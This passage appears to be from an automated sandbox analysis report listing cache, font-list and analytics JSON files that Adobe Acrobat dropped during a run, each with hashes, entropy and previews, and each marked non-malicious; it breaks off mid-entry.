Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklCyFWl/tfllXlE/HT8kKXNNX8RolJuRdxLlGB9lQRYwpDdt:kKbyFi/eT8ZNMa8RdWBwRd
MD5:	4B640A8FFABE21CCE15F2B4E29404867
SHA1:	A4A2B5E77EA9F2A76151318C3F603FA1963CED98
SHA-256:	343F75B0D028E1DE302D1FFA1B85B9B606AF9528CAFF655B22B7516CEEBF2C2B
SHA-512:	B3894090338B6F5ED18D11D76A00CDC7FCA49EDC28696A52E235D611AAC2F2161F2D993B42EB2C39A5DEEA6F62C16F90B8F7E2CAE56C783C015E8C58639E4ACC
Malicious:	false
Preview:	p...... .........}zH.c..(....................................................... ..........W....9...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1220765959979873
Encrypted:	false
SSDEEP:	6:kKry/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:u/iDnLNkPlE99SNxAhUe/3
MD5:	AF73C5B2564894DFE3D2E5836F554611
SHA1:	9A9E415F35E015A3A51CDE35C51A702DD64CA132
SHA-256:	97B672F146792C64E9EA3A73457B3EBC65DE261C2891B55F85296CA68CDB3CC3
SHA-512:	C00511DF274A6ADD16835998D3A9BF720F2B154E29B3211C785ABB4653DC1D308A0573D711EC29EB466136931DE8D0F5F35C0570C9EEE3C9BCADE66C58A7435F
Malicious:	false
Preview:	p...... ...........l.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355987548828088
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJM3g98kUwPeUkwRe9:YvXKX010vR/ZwHAAxGMbLUkee9
MD5:	BE1E71FB9BC7BE299526BECB58939A82
SHA1:	C71EBA2214F95F5DD92CFFF8F8505C796E5AD394
SHA-256:	D400EA6EED9ADF9002D47FCBA4A5DD4530FF88F999A8BB601861944A48FFC420
SHA-512:	ADAECB5AEF14A42629837192947DEE91FD3C7BE91C248F292C01D6712A858B913F0B4E6D83A7BD901B1C4AF7994B4E1590275D1D7E72677EA37FF12BB20102A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291272630389745
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfBoTfXpnrPeUkwRe9:YvXKX010vR/ZwHAAxGWTfXcUkee9
MD5:	B0E845980CE6E3B6645A91CEF112A2C0
SHA1:	2BBA82101DEF4783AD0CED5C7CC53E6D223C6FE9
SHA-256:	720E7835856F1515E6972EA94BDF6FA88EBB9B42B4DE33BCD323F6CD706830CE
SHA-512:	DD9CB13EB4A718560B9CCD4BBCAB516D9FCD6A8B686877D89B89E31F7B6FE7AE75A851C8BCC9AB785B0959AABF4A5755D37108DE37E8D6BB218EEA85C99A77A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270267665784821
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfBD2G6UpnrPeUkwRe9:YvXKX010vR/ZwHAAxGR22cUkee9
MD5:	41C7A4F7B3A9685231B1C397E3466647
SHA1:	E6D9513ADB8C7E45C3FC82B4E3EC8972F74E926B
SHA-256:	0E384984DFD52DC5066168BDB4731B46A6983E4B671EFC19FDE245613632F0A7
SHA-512:	78A1A05774D6AAA8641F86E7C1B6A9D9E72B4D9CDB50D4ACE10A32A027EEA814D42D987B305F3BE2669D3B4A34D6FC0F68540F997397CA351A095BBF6543B149
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.332677294057976
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfPmwrPeUkwRe9:YvXKX010vR/ZwHAAxGH56Ukee9
MD5:	4671F01F7AB6B6B0D3772A057811F926
SHA1:	28CBB94B573B0A0BA9A6AE6CFEA725C0284283B0
SHA-256:	B0357BB8242347C85C98E5F66F54C482CE7177F2D2B53252F1A86D5F88D16335
SHA-512:	035B1F1859DB24FB73A44649F6E2D84292A81252BA04BFE5172C525EB70D8F424789FCD8F7216D3E22076AEA9034549CAB22D1DC1A18D938F6CE21992A1C4EFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694209542995243
Encrypted:	false
SSDEEP:	24:Yv6XRJhzpLgE9cQx8LennAvzBvkn0RCmK8czOCCS3:YvwJhzhgy6SAFv5Ah8cv/3
MD5:	549744E8E15E1A269D43B3DCAE26A237
SHA1:	2291112C6B059E8DE6027864116CB1CDF6A7D3B4
SHA-256:	CD9FA79EC629A65A4647405F9ACE3B19FD91BE00E2FD17064D5B04E157DEF7DB
SHA-512:	10DF715F5D25761887B26128A24A33F04A376E232575ECA137E6E16B6614FD575C73CCF1BE85A332019D251F2AFDA4748626E69A359EEE6DDE02628EA2F28EBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283578051261233
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJf8dPeUkwRe9:YvXKX010vR/ZwHAAxGU8Ukee9
MD5:	BB967FD7A1A81056AF328EDF15460EC7
SHA1:	1A2101E033E6C9ED20AC8290D2776E0849C33DE2
SHA-256:	92DEA2F71FBC6E6068DE7F1F0FEA3382011A285A1F9EC476F05B31CB6E7B49E8
SHA-512:	9300BF4BDD91EDADFB83F222FB9DBD800331058962C3F1D4D04158FD21581FABB872D22F11CAECDEEC04F386D80669758DE2601D76555D34B6072308C2DE7EDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282134938158787
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfQ1rPeUkwRe9:YvXKX010vR/ZwHAAxGY16Ukee9
MD5:	F7066E97CDB2311895B533497F33B825
SHA1:	FD413A5A311462699CDFEB1ED558D458186985ED
SHA-256:	D797F5EBF106FC8214AD45671747544BAEE466CC34590803E08B9B703E6675C9
SHA-512:	7A7DAA96E1E6405C96020EA61A5716BC6D4FF1DBA968E3AEC4FBFDB4D507C6CDE49E22D32A33099D0E2216550455544165353BE15A5139EAEB4AAD909DF0301E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299812102085277
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfFldPeUkwRe9:YvXKX010vR/ZwHAAxGz8Ukee9
MD5:	3BAE3676CFFE4E2D110856A2EA87ED59
SHA1:	44209E106BBE75AA2703D7EEB23657638553FB90
SHA-256:	8F468BA10648579E1F689944067394E4BE2C3F87071EF1E69A98EADC8B4B6AB1
SHA-512:	4914E82D85E8D9CFF884361E267F4FC14FF8441F7BCF695A40AA7F963925F92CEA21A75D0FF554D757EF32E013774A04F497A0B5331ACE3A6F9666225AD4BFF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3114418424145775
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfzdPeUkwRe9:YvXKX010vR/ZwHAAxGb8Ukee9
MD5:	60B902E8918F785046C9F6A384F7C249
SHA1:	9FACA6E3FEED5E32C8A748969176FBB65C2932EC
SHA-256:	81408764A9704B4CB4114C8B23D09B86A3B7D11A6CF741F452F633A39F71A83F
SHA-512:	21861FF24C6EFE8450C3EE147C3F5D9CBE8D58E21C11C14839CB792FA76B266D2CAECC30C14FF621AC478F56C68561CF241A59691B7A2C99A27A8069124A1D44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291921119198562
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfYdPeUkwRe9:YvXKX010vR/ZwHAAxGg8Ukee9
MD5:	4CF48115739D789A0BE8069EDCD5EBD7
SHA1:	5570735DB05C2549DF00295F862E54B0EB4A266D
SHA-256:	7804D281FC98DD257D01AC3F4E4A30EC5FCA672A4ACED4E2120E51E9CE5F686A
SHA-512:	B4B7CA0DCE1625EB5E876BB2D476CB48C9C77055F2D062CC9FAD7EB37EBFE2EF91AE69A3DED567AEF9B027CFA83864AEA211DC5F6D709562C047CCB6F06FA49B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.27812824913215
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJf+dPeUkwRe9:YvXKX010vR/ZwHAAxG28Ukee9
MD5:	2F0534E8D807DB75D9CB0493B343CF3C
SHA1:	70ECCB0AF12E89434069A6E33A7BE6A376C1201C
SHA-256:	7E06DA28E277ADF79E1EAA0A1C62EFA3F26EC0F14C6C7F60ADFD15B01D3654EE
SHA-512:	85633778E9DE85DF6FEA6E5AA7ADD28FFCF02E28305255C398C9A36EC14F5B7D3B1B6C266D6815E76C53BCE40015E974AAB5CEB152079B4AE29B69E0E5113E4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.275523741826388
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfbPtdPeUkwRe9:YvXKX010vR/ZwHAAxGDV8Ukee9
MD5:	3C42AEA093B13B611F50E3DA2B9A6302
